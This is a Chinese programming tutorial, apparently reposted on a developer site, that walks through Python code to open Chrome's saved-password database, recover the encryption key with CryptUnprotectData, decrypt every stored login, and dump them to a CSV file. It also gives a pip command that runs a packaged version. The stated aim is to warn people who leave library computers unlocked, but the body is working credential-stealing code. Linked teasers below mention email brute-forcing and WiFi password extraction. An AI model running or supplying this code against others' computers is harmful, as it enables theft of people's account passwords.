基于Python实现一键获取电脑浏览器的账号密码

目录
  • 导语
  • 相关文件
  • 开发工具
  • 环境搭建
  • 原理简介

导语

发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~

废话不多说,让我们愉快地开始吧~

相关文件

Github地址

开发工具

Python版本:3.7.8

相关模块:

pikachupytools模块;

pycryptodome模块;

以及一些python自带的模块。

环境搭建

安装Python并添加到环境变量,pip安装需要的相关模块即可。

原理简介

众所周知,我们的浏览器里一般存储了很多我们访问过的网站的账号和密码:

一般情况下,查看这些密码是需要输入电脑的开机密码的。但是事实上,我们也可以通过其他方式直接查看这些账号密码。例如谷歌浏览器里保存账号密码的数据库文件默认路径为:

os.environ['USERPROFILE'] + os.sep + r'AppData\Local\Google\Chrome\User Data\Default\Login Data'

我们可以通过读取该文件获得对应的账号密码:

'''读取数据库数据'''
def readdb(self, dbpath, master_key):
    sql = 'SELECT origin_url, username_value, password_value, date_created, date_last_used FROM logins;'
    client = sqlite3.connect(dbpath)
    cursor = client.cursor()
    with open(self.savename, 'a', newline='', encoding='utf-8-sig') as csv_file:
        cursor.execute(sql)
        csv_writer = csv.writer(csv_file, dialect=('excel'))
        if not self.write_heads_flag:
            csv_writer.writerow(self.csv_heads)
            self.write_heads_flag = True
        info = []
        for row in cursor.fetchall():
            for idx in range(len(self.csv_heads)):
                if isinstance(row[idx], bytes):
                    info.append(self.decrypt(row[idx], master_key))
                else:
                    info.append(row[idx])
            csv_writer.writerow(info)
            info = []
    cursor.close()
    client.close()

其中密码是加密之后的结果,打印出来大概是这样子的:

但是解密其实也很简单,通过网上的资料可以知道,我们只需要获得key值:

'''获得master key'''
def getmasterkey(self, local_state_path):
    import win32crypt
    with open(os.environ['USERPROFILE'] + os.sep + local_state_path, 'r', encoding='utf-8') as fp:
        local_state = fp.read()
        local_state = json.loads(local_state)
    master_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
    master_key = master_key[5:]
    master_key = win32crypt.CryptUnprotectData(master_key, None, None, None, 0)[1]
    return master_key

然后根据key值进行解码就行了:

'''解码'''
def decrypt(self, value, master_key):
    print(value)
    if value[:3] == b'v10':
        from Crypto.Cipher import AES
        iv, payload = value[3:15], value[15:]
        cipher = AES.new(master_key, AES.MODE_GCM, iv)
        decrypted_value = cipher.decrypt(payload)
        decrypted_value = decrypted_value[:-16].decode()
    else:
        import win32crypt
        decrypted_value = win32crypt.CryptUnprotectData(value)[1].decode()
    return decrypted_value

解码之后的运行效果结果如下:

获得的结果默认保存在results.csv中,截图如下:

ok,大功告成啦,完整源代码详见相关文件。

想要快速测试的小伙伴只需要pip安装一下pikachupytools包:

pip install pikachupytools --upgrade

然后简单写几行代码就能调用运行了:

from pytools import pytools

tool_client = pytools.pytools()
tool_client.execute('decryptbrowser')

到此这篇关于基于Python实现一键获取电脑浏览器的账号密码的文章就介绍到这了,更多相关Python浏览器账号密码内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • 如何利用python和DOS获取wifi密码

    CMD命令获取电脑里配置过的wifi信息 设定一个场景,假如我忘记了自家的wifi密码,这时候小伙伴来家里跟我开黑,问我wifi密码是多少?我就抓住了这个小秀一波的机会. 上才艺: 按下win+R键,输入CMD打开DOS窗口,然后输入以下命令查看电脑里配置过的wifi. netsh wlan show profiles 这是电脑连过的wifi,假设我家里的wifi是CMCC-CMCC,接下来我需要查看CMCC-CMCC的信息,上代码: netsh wlan show profiles CMCC-

  • Python实现在线暴力破解邮箱账号密码功能示例【测试可用】

    本文实例讲述了Python实现在线暴力破解邮箱账号密码功能.分享给大家供大家参考,具体如下: dic 字典格式如下(mail.txt) : username@gmail.com:password username@gmail.com:password username@gmail.com:password 以此类推,切记保存成utf-8编码格式. 放置在当前脚本目录,也可自己定义修改. 支持ssl https /imap协议. # version 3.4.0 # coding='UTF-8' #

  • 如何使用Python提取Chrome浏览器保存的密码

    由于Chrome会将大量浏览数据本地保存磁盘中,在本教程中,我们将编写 Python 代码来提取 Windows 计算机上 Chrome 中保存的密码. 首先,让我们安装所需的库: pip install pycryptodome pypiwin32 打开一个新的 Python 文件,并导入必要的模块: import os import json import base64 import sqlite3 import win32crypt from Crypto.Cipher import AE

  • python 获取谷歌浏览器保存的密码

    由于谷歌浏览器80以后版本采用了新的加密方式,所以记录在这里 # -*- coding:utf-8 -*- import os import json import base64 import sqlite3 from win32crypt import CryptUnprotectData from cryptography.hazmat.primitives.ciphers.aead import AESGCM # pip install pywin32 # pip install cryp

  • 基于Python实现一键获取电脑浏览器的账号密码

    目录 导语 相关文件 开发工具 环境搭建 原理简介 导语 发现很多人在学校图书馆喜欢用电脑占座(以古度今,我好像好多年没去过学校图书馆了),而且出去的时候经常不锁屏,为了让大家养成良好的习惯,我来带大家写个小程序吧,无需输入任何密码就可以快速获取你存储在电脑浏览器中的所有账号和密码,算是通过实践出真知来给大家提个醒了~ 废话不多说,让我们愉快地开始吧~ 相关文件 Github地址 开发工具 Python版本:3.7.8 相关模块: pikachupytools模块: pycryptodome模块

  • 基于Python制作一键桌面整理工具

    目录 前言 效果展示 开发思路 完整代码 前言 我承认我不是一个爱整理桌面的人,因为我觉得乱糟糟的桌面,反而容易找到文件. 哈哈,可是最近桌面实在是太乱了,自己都看不下去了,几乎占满了整个屏幕.虽然一键整理桌面的软件很多,但是对于其他路径下的文件,我同样需要整理,于是我想到使用Python,完成这个需求. 效果展示 我一共为将文件分为9个大类,分别是图片.视频.音频.文档.压缩文件.常用格式.程序脚本.可执行程序和字体文件. # 不同文件组成的嵌套字典 file_dict = { '图片': [

  • 基于Python实现一键找出磁盘里所有猫照

    目录 前言 1.准备 2.编写代码 3.批量自动识别 4.完整代码 前言 最近在整理我磁盘上的照片,发现不少猫照,突然觉得若能把这些猫照都挑出来,观察它们的成长轨迹也是一件不错的事情.一张一张的找实在是太费劲了,能不能自动化地找出来呢? 目标检测,是许多计算机视觉应用的重中之重,比如说我们上次的实例分割:Python 20行代码批量自动抠图,人体关键点提取.人脸识别等.而我们这一次,是要识别猫照.由于时间不多,我们没有时间收集训练集,那么有没有已经训练好的目标检测模型呢? 这时候就要搬出padd

  • 基于Python打造账号共享浏览器功能

    本篇文章介绍的内容会涉及到以下知识: PyQt5的使用; Selenium的使用; 代理服务器的架设和使用: 一.账号限制之痛 在如今的互联网中,免费的信息和资源占据了很大一部分,各类互联网应用提供了各行各业的资讯和资源.这是互联网能够不断繁荣和扩大的重要原因之一. 与此同时,一些收费或不公开的互联网应用则构成了互联网世界中更有价值和意义的部分. 一些限制性较低的网站,可能仅仅需要进行用户登录即可使用服务: 一些限制性中等的网站,则可能会出于账户安全或是其他方面的因素考虑,限制账号在一定时间一定

  • Python 一键获取百度网盘提取码的方法

    该 GIF 图来自于官网,文末有给出链接. 描述 依托于百度网盘巨大的的云存储空间,绝大数人会习惯性的将一些资料什么的存储到上面,但是有的私密链接需要提取码,但是让每个想下载私密资源的人记住每一个提取码显然是不现实的.这个时候,云盘万能钥匙 诞生了,我们通过安装相应的浏览器插件就可以自动获获取相应链接的提取码.我在 Github 上看了一下,有 Web JS 版的, python 版的貌似还没有找到,所以我参照了JS 版本和官网的请求接口写了两种方式的获取脚本. 实现 下述两种方式的具体实现就不

  • python基于pexpect库自动获取日志信息

    1. 前言 对大部分的人来说,解决 Bug 都是依靠关键字去日志去定位问题! 在调试情况下,我们可以实时在控制台查看日志:但对于部署到服务器上的应用,日志都存放在服务器某个目录下,没法通过本地查看到 这种情况下,就需要我们先登录服务器,然后进入到日志目录文件夹,最后通过日志文件去定位问题:如果涉及到 K8s 容器,可能还需要使用 kubectl 命令进入到服务对应的容器中,进入到日志目录,才能开始定位问题,这一切显得非常繁琐且低效 本篇文章介绍一款 Python 依赖库:pexpect,作为一款

  • 基于Python实现交互式文件浏览器

    目录 引子 应用场景 源代码 源代码说明 效果如下所示 引子 在许多应用程序中,需要方便地查看特定文件夹中的所有图片,例如图库管理器.相册应用程序.图片编辑器等.如果手动浏览文件夹并查看每个文件,可能会非常耗时和繁琐.因此,为了提高用户体验和工作效率,这段代码使用 wxPython 库创建了一个包含文件和文件夹的树状结构,并限制树状结构中只显示图片文件.这使得用户可以方便地在树状结构中浏览和选择图片文件,而无需手动搜索和筛选.此外,该程序还提供了一个预览窗格,用于在用户选择图片后显示其缩略图或完

  • Python获取电脑硬件信息及状态的实现方法

    本文以实例形式展示了Python获取电脑硬件信息及状态的实现方法,是Python程序设计中很有实用价值的技巧.分享给大家供大家参考之用.具体方法如下: 主要功能代码如下: #!/usr/bin/env python # encoding: utf-8 from optparse import OptionParser import os import re import json def main(): try: parser = OptionParser(usage="%prog [optio

  • 用js获取电脑信息(是使用与IE浏览器)

    用js获取本地电脑信息(但是只能在IE浏览器下才行,其他浏览器其获取不到的): 复制代码 代码如下: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"&

  • 基于python 微信小程序之获取已存在模板消息列表

    前言: 为了获取一定高级操作,如:微信模板消息(xiao,xin)推送,把消息推送给用户,或者是获取用户授权信息都需要用到access token,有效期为两个小时? 过了两个小时怎么办?重新获取,来,代码撸起走,啥女朋友没有? 获取小程序对应的access token def get_wx_token(): url = "https://api.weixin.qq.com/cgi-bin/token?" try: respone = requests.get(url, params=

随机推荐